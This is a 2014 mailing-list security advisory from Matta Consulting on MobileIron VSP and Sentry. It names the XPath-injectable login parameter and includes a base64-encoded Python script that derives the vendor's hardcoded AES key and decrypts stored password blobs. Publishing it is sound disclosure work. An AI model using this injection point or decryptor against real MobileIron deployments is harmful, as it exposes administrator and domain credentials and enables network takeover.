Message-ID: <1396439764.7491.3.camel@neutron.trustmatta.com>
Date: Wed, 02 Apr 2014 12:56:04 +0100
From: Florent Daigniere <florent.daigniere@...stmatta.com>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk,
	fulldisclosure@...lists.org, full-derpsclosure@...e.fullderpsclosure.com
Cc: Advisories <advisories@...stmatta.com>
Subject: [FD] [MATTA-2013-004] CVE-2014-1409;
 MobileIron authentication bypass vulnerability

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Hash: SHA256


	Matta Consulting - Matta Advisory
	    https://www.trustmatta.com

          MobileIron Multiple Products
       Authentication Bypass Vulnerability

Advisory ID: MATTA-2013-004
CVE reference: CVE-2014-1409, CVE-2013-7286
Affected platforms: VSP and Sentry
Version: VSP < 5.9.1 and Sentry < 5.0
Date: 2013-December-19
Security risk: Critical
Researcher: Nico Leidecker 
Vendor Status: Patch released
Vulnerability Disclosure Policy:
 https://www.trustmatta.com/advisories/matta-disclosure-policy-01.txt
Permanent URL:
 https://www.trustmatta.com/advisories/MATTA-2013-004.txt

=====================================================================
Description:

During an external penetration test exercise for one of our clients,
 an authentication bypass vulnerability was found in the
 administrative interface of a MobileIron deployment. This ultimately
 allowed us to, gain access to our client's internal network.

The 'j_username' parameter of the script at
https://<target>/mics/j_spring_security_check is vulnerable to blind
 XPath Injection, allowing an unauthenticated attacker to retrieve the
 underlying XML document.

This XML document is an excerpt of the configuration file of the
 device. It contains obfuscated passwords and, depending on
 configuration, might contain domain credentials and allow the
 attacker to reposition both internally and on any of the attached
 devices.
 This vulnerability has been assigned CVE-2014-1409.

The password obfuscation algorithm is known and has already been
 documented [1]... AES-ECB-PKCS1.5 with a known, shared key. While we
 won't release a full-featured exploit for the vulnerability, we will
 release a PoC to confirm whether the hashes are indeed vulnerable.
 The vendor has confirmed that a stronger encryption method is used
 since release 5.7.
 This vulnerability has been assigned CVE-2013-7286.

[1] 
https://www.hackinparis.com/sites/hackinparis.com/files/MDM-HIP_2013.pdf
NB: A second insecure encryption scheme is described in [1], MITRE has
 assigned CVE-2013-7287 to that separate vulnerability.
=====================================================================
Base64 encoded script to confirm whether the hash provided is
  vulnerable to CVE-2013-7286:

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMKIyAgTW9iaWxlSXJvbiB1c2VzIEFFUy1FQ0ItUEtDUzEu
NSAod2l0aCBhIGtub3duIGtleSkKIyB0byBzdG9yZSBjcmVkZW50aWFscy4uLiBXaGF0IGEgYnJp
bGxpYW50IGlkZWEhCiMKIyBUaGlzIHNjcmlwdCBpcyBhYm91dCBjaGVja2luZyB3aGV0aGVyIHRo
ZSBwcm92aWRlZAojIGhhc2ggaXMgdnVsbmVyYWJsZSB0byBDVkUtMjAxMy03Mjg2IG9yIG5vdC4K
IwojIE5leHRHZW4kIH4gMjAxMwoKaW1wb3J0IHN5cwppbXBvcnQgYmluYXNjaWkKaW1wb3J0IGhh
c2hsaWIKaW1wb3J0IHN0cmluZwpmcm9tIENyeXB0by5DaXBoZXIgaW1wb3J0IEFFUwoKaWYgbGVu
KHN5cy5hcmd2KTwyOiAgICAKIHN5cy5leGl0KCdVc2FnZTogLi9DVkUtMjAxMy03Mjg2LnB5IDxi
YXNlNjRlbmNvZGVkIGJsb2I
+JykKCkJTID0gOAp1bnBhZCA9IGxhbWJkYSBzIDogc1swOi1vcmQo
c1stMV0pXQoKaWYgX19uYW1lX189PSAiX19tYWluX18iOgogICAgIyBHZW5lcmF0ZSB0aGUgbWFz
dGVyIGtleS4uLgogICAgIyBZZXMuIEl0J3Mgbm90IGEgdHlwbyEKICAgIHBocmFzZSA9ICdIYWt1
bmEgbWF0YXRhIHdoYXQgYSB3b2RlcmZ1bCBwaHJhc2UnCiAgICBtID0gaGFzaGxpYi5zaGExKCkK
ICAgIG0udXBkYXRlKHBocmFzZSkKIyBXZSBvbmx5IHdhbnQgdGhlIDE2IGZpcnN0IGJ5dGVzICgx
MjhiaXQga2V5LCAxNjBiaXQgaGFzaCBmdW5jdGlvbikKICAgIGtleSA9IG0uZGlnZXN0KClbOjE2
XQogICAgY2lwaGVydGV4dCA9IGJpbmFzY2lpLmEyYl9iYXNlNjQoc3lzLmFyZ3ZbMV0pCiAgICBj
aXBoZXIgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfRUNCKSAKICAgIHBsYWludGV4dCA9IHVucGFk
KGNpcGhlci5kZWNyeXB0KGNpcGhlcnRleHQpKQogICAgdnVsbmVyYWJsZSA9IGxlbihwbGFpbnRl
eHQpID4gMCBhbmQgYWxsKGMgaW4gc3RyaW5nLnByaW50YWJsZSBmb3IgYyBpbiBwbGFpbnRleHQp
CiAgICBwcmludCAnJXNWVUxORVJBQkxFIFRPIENWRS0yMDEzLTcyODYnICUgKCcnIGlmIHZ1bG5l
cmFibGUgZWxzZSAnTk9UICcpCg==

=====================================================================
Impact

Successful exploitation allows an unauthenticated attacker to take
 over the device and potentially any device attached to it as well
 as the Active Directory Domain it might be linked to.

=====================================================================
Versions affected:

- - Sentry Standalone < 5
- - VSP < 5.9.1

=====================================================================
Workaround:

Restrict access to the MICS service (administrative interface) to
 specific hosts:
MICS Portal -> Security -> Portal ACLs -> System Manager Portal ACL

=====================================================================
Credits

This vulnerability was discovered by Nico Leidecker from Matta
 Consulting.

=====================================================================
History

19-12-13 initial discovery
30-12-13 client has mitigated the vulnerability
30-12-13 initial attempt to contact the vendor
30-12-13 reply from the vendor
31-12-13 a draft of this advisory is sent to the vendor
03-01-14 vendor can't reproduce / ask for more details
03-01-14 more details are sent
07-01-14 vendor recognize that there is a bug but dissmisses it as a
 security vulnerability
07-01-14 more details are sent
14-01-14 a week lapsed, no reply... we chase it up
14-01-14 vendor reply: they're working on a response
15-01-14 vendor respond: reclassify the bug as a security issue,
 indicate that they indend on fixing the bug in the Q1 release,
 provide a workaround and ask for us to hold on releasing the
 advisory until the release is published
15-01-14 we agree to a deadline extension, send the CVEs MITRE has
 assigned
...
19-02-14 vendor release 5.9.1 (but doesn't let us know)
...
31-03-14 vendor indicate that the release of VSP 6 is delayed but 
 the bugs have been fixed in 5.9.1
02-04-14 release of this advisory

=====================================================================
About Matta

Matta is a privately held company with Headquarters in London, and a
 European office in Amsterdam.   Established in 2001, Matta operates
 in Europe, Asia, the Middle East and North America using a respected
 team of senior consultants.  Matta is an accredited provider of
 Tiger Scheme training and conducts regular research.

https://www.trustmatta.com
https://www.trustmatta.com/training.html
https://www.trustmatta.com/network-penetration-testing.html
https://www.trustmatta.com/vulnerability-assessment.html

=====================================================================
Disclaimer and Copyright

Copyright (c) 2014 Matta Consulting Limited. All rights reserved.
This advisory may be distributed as long as its distribution is
 free-of-charge and proper credit is given.

The information provided in this advisory is provided "as is" without
 warranty of any kind. Matta Consulting disclaims all warranties,
 either express or implied, including the warranties of
 merchantability and fitness for a particular purpose. In no event
 shall Matta Consulting or its suppliers be liable for any damages
 whatsoever including direct, indirect, incidental, consequential,
 loss of business profits or special damages, even if Matta
 Consulting or its suppliers have been advised of the possibility
 of such damages.
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